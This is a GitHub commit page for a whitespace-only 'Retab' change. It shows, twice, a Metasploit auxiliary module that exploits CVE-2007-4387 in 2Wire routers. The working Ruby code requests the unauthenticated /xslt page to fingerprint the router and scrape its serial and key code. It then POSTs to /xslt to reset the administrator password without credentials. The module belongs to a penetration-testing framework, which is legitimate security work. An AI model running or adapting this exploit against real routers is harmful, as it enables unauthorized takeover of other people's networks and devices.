Skip to content

Commit 41e4375

Browse files
committed
Retab modules
1 parent 7e5e0f7 commit 41e4375

File tree

2,264 files changed

+279383
-279383
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

2,264 files changed

+279383
-279383
lines changed

modules/auxiliary/admin/2wire/xslt_password_reset.rb

Lines changed: 131 additions & 131 deletions
Original file line numberDiff line numberDiff line change
@@ -9,136 +9,136 @@
99

1010
class Metasploit3 < Msf::Auxiliary
1111

12-
include Msf::Exploit::Remote::HttpClient
13-
14-
def initialize(info={})
15-
super(update_info(info,
16-
'Name' => "2Wire Cross-Site Request Forgery Password Reset Vulnerability",
17-
'Description' => %q{
18-
This module will reset the admin password on a 2Wire wireless router. This is
19-
done by using the /xslt page where authentication is not required, thus allowing
20-
configuration changes (such as resetting the password) as administrators.
21-
},
22-
'License' => MSF_LICENSE,
23-
'Author' =>
24-
[
25-
'hkm [at] hakim.ws', #Initial discovery, poc
26-
'Travis Phillips', #Msf module
27-
],
28-
'References' =>
29-
[
30-
[ 'CVE', '2007-4387' ],
31-
[ 'OSVDB', '37667' ],
32-
[ 'BID', '36075' ],
33-
[ 'URL', 'http://seclists.org/bugtraq/2007/Aug/225' ],
34-
],
35-
'DisclosureDate' => "Aug 15 2007" ))
36-
37-
register_options(
38-
[
39-
OptString.new('PASSWORD', [ true, 'The password to reset to', 'admin'])
40-
], self.class)
41-
end
42-
43-
def run
44-
45-
print_status("Attempting to connect to http://#{rhost}/xslt?PAGE=A07 to gather information")
46-
res = send_request_raw(
47-
{
48-
'method' => 'GET',
49-
'uri' => '/xslt?PAGE=A07',
50-
}, 25)
51-
52-
if not res
53-
print_error("No response from server")
54-
return
55-
end
56-
57-
#check to see if we get HTTP OK
58-
if (res.code == 200)
59-
print_status("Okay, Got an HTTP 200 (okay) code. Verifying Server header")
60-
else
61-
print_error("Did not get HTTP 200, URL was not found. Exiting!")
62-
return
63-
end
64-
65-
#Check to verify server reported is a 2wire router
66-
if (res.headers['Server'].match(/2wire Gateway/i))
67-
print_status("Server is a 2wire Gateway! Grabbing info\n")
68-
else
69-
print_error("Target doesn't seem to be a 2wire router. Exiting!")
70-
return
71-
end
72-
73-
print_status("---===[ Router Information ]===---")
74-
75-
# Grabbing the Model Number
76-
if res.body.match(/<td class="textmono">(.*)<\/td>/i)
77-
model = $1
78-
print_status("Model: #{model}")
79-
end
80-
81-
# Grabbing the serial Number
82-
if res.body.match(/<td class="data">(\d{12})<\/td>/i)
83-
serial = $1
84-
print_status("Serial: #{serial}")
85-
end
86-
87-
# Grabbing the Hardware Version
88-
if res.body.match(/<td class="data">(\d{4}-\d{6}-\d{3})<\/td>/i)
89-
hardware = $1
90-
print_status("Hardware Version: #{hardware}")
91-
end
92-
93-
#Check the Software Version
94-
if res.body.match(/<td class="data">(5\.\d{1,3}\.\d{1,3}\.\d{1,3})<\/td>/i)
95-
ver = $1
96-
print_status("Software version: #{ver}")
97-
else
98-
print_error("Target is not a version 5 router. Exiting!")
99-
return
100-
end
101-
102-
# Grabbing the Key Code
103-
if res.body.match(/<td class="data">(\w{4}-\w{4}-\w{4}-\w{4}-\w{4})<\/td>/i)
104-
key = $1
105-
print_status("Key Code: #{key}\n")
106-
end
107-
108-
print_status("Attempting to exploit Password Reset Vulnerability on #{rhost}")
109-
print_status("Connecting to http://#{rhost}/xslt?PAGE=H04 to make sure page exist.")
110-
111-
res = send_request_raw(
112-
{
113-
'method' => 'GET',
114-
'uri' => '/xslt?PAGE=H04',
115-
}, 25)
116-
117-
if ( res and res.code == 200 and res.body.match(/<title>System Setup - Password<\/title>/i))
118-
print_status("Found password reset page. Attempting to reset admin password to #{datastore['PASSWORD']}")
119-
120-
data = 'PAGE=H04_POST'
121-
data << '&THISPAGE=H04'
122-
data << '&NEXTPAGE=A01'
123-
data << '&PASSWORD=' + datastore['PASSWORD']
124-
data << '&PASSWORD_CONF=' + datastore['PASSWORD']
125-
data << '&HINT='
126-
127-
res = send_request_cgi(
128-
{
129-
'method' => 'POST',
130-
'uri' => '/xslt',
131-
'data' => data,
132-
}, 25)
133-
134-
if res and res.code == 200
135-
if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/(.*); path=\//))
136-
cookie= $1
137-
print_status("Got cookie #{cookie}. Password reset was successful!\n")
138-
end
139-
end
140-
end
141-
142-
end
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => "2Wire Cross-Site Request Forgery Password Reset Vulnerability",
17+
'Description' => %q{
18+
This module will reset the admin password on a 2Wire wireless router. This is
19+
done by using the /xslt page where authentication is not required, thus allowing
20+
configuration changes (such as resetting the password) as administrators.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'hkm [at] hakim.ws', #Initial discovery, poc
26+
'Travis Phillips', #Msf module
27+
],
28+
'References' =>
29+
[
30+
[ 'CVE', '2007-4387' ],
31+
[ 'OSVDB', '37667' ],
32+
[ 'BID', '36075' ],
33+
[ 'URL', 'http://seclists.org/bugtraq/2007/Aug/225' ],
34+
],
35+
'DisclosureDate' => "Aug 15 2007" ))
36+
37+
register_options(
38+
[
39+
OptString.new('PASSWORD', [ true, 'The password to reset to', 'admin'])
40+
], self.class)
41+
end
42+
43+
def run
44+
45+
print_status("Attempting to connect to http://#{rhost}/xslt?PAGE=A07 to gather information")
46+
res = send_request_raw(
47+
{
48+
'method' => 'GET',
49+
'uri' => '/xslt?PAGE=A07',
50+
}, 25)
51+
52+
if not res
53+
print_error("No response from server")
54+
return
55+
end
56+
57+
#check to see if we get HTTP OK
58+
if (res.code == 200)
59+
print_status("Okay, Got an HTTP 200 (okay) code. Verifying Server header")
60+
else
61+
print_error("Did not get HTTP 200, URL was not found. Exiting!")
62+
return
63+
end
64+
65+
#Check to verify server reported is a 2wire router
66+
if (res.headers['Server'].match(/2wire Gateway/i))
67+
print_status("Server is a 2wire Gateway! Grabbing info\n")
68+
else
69+
print_error("Target doesn't seem to be a 2wire router. Exiting!")
70+
return
71+
end
72+
73+
print_status("---===[ Router Information ]===---")
74+
75+
# Grabbing the Model Number
76+
if res.body.match(/<td class="textmono">(.*)<\/td>/i)
77+
model = $1
78+
print_status("Model: #{model}")
79+
end
80+
81+
# Grabbing the serial Number
82+
if res.body.match(/<td class="data">(\d{12})<\/td>/i)
83+
serial = $1
84+
print_status("Serial: #{serial}")
85+
end
86+
87+
# Grabbing the Hardware Version
88+
if res.body.match(/<td class="data">(\d{4}-\d{6}-\d{3})<\/td>/i)
89+
hardware = $1
90+
print_status("Hardware Version: #{hardware}")
91+
end
92+
93+
#Check the Software Version
94+
if res.body.match(/<td class="data">(5\.\d{1,3}\.\d{1,3}\.\d{1,3})<\/td>/i)
95+
ver = $1
96+
print_status("Software version: #{ver}")
97+
else
98+
print_error("Target is not a version 5 router. Exiting!")
99+
return
100+
end
101+
102+
# Grabbing the Key Code
103+
if res.body.match(/<td class="data">(\w{4}-\w{4}-\w{4}-\w{4}-\w{4})<\/td>/i)
104+
key = $1
105+
print_status("Key Code: #{key}\n")
106+
end
107+
108+
print_status("Attempting to exploit Password Reset Vulnerability on #{rhost}")
109+
print_status("Connecting to http://#{rhost}/xslt?PAGE=H04 to make sure page exist.")
110+
111+
res = send_request_raw(
112+
{
113+
'method' => 'GET',
114+
'uri' => '/xslt?PAGE=H04',
115+
}, 25)
116+
117+
if ( res and res.code == 200 and res.body.match(/<title>System Setup - Password<\/title>/i))
118+
print_status("Found password reset page. Attempting to reset admin password to #{datastore['PASSWORD']}")
119+
120+
data = 'PAGE=H04_POST'
121+
data << '&THISPAGE=H04'
122+
data << '&NEXTPAGE=A01'
123+
data << '&PASSWORD=' + datastore['PASSWORD']
124+
data << '&PASSWORD_CONF=' + datastore['PASSWORD']
125+
data << '&HINT='
126+
127+
res = send_request_cgi(
128+
{
129+
'method' => 'POST',
130+
'uri' => '/xslt',
131+
'data' => data,
132+
}, 25)
133+
134+
if res and res.code == 200
135+
if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/(.*); path=\//))
136+
cookie= $1
137+
print_status("Got cookie #{cookie}. Password reset was successful!\n")
138+
end
139+
end
140+
end
141+
142+
end
143143

144144
end

0 commit comments

Comments
 (0)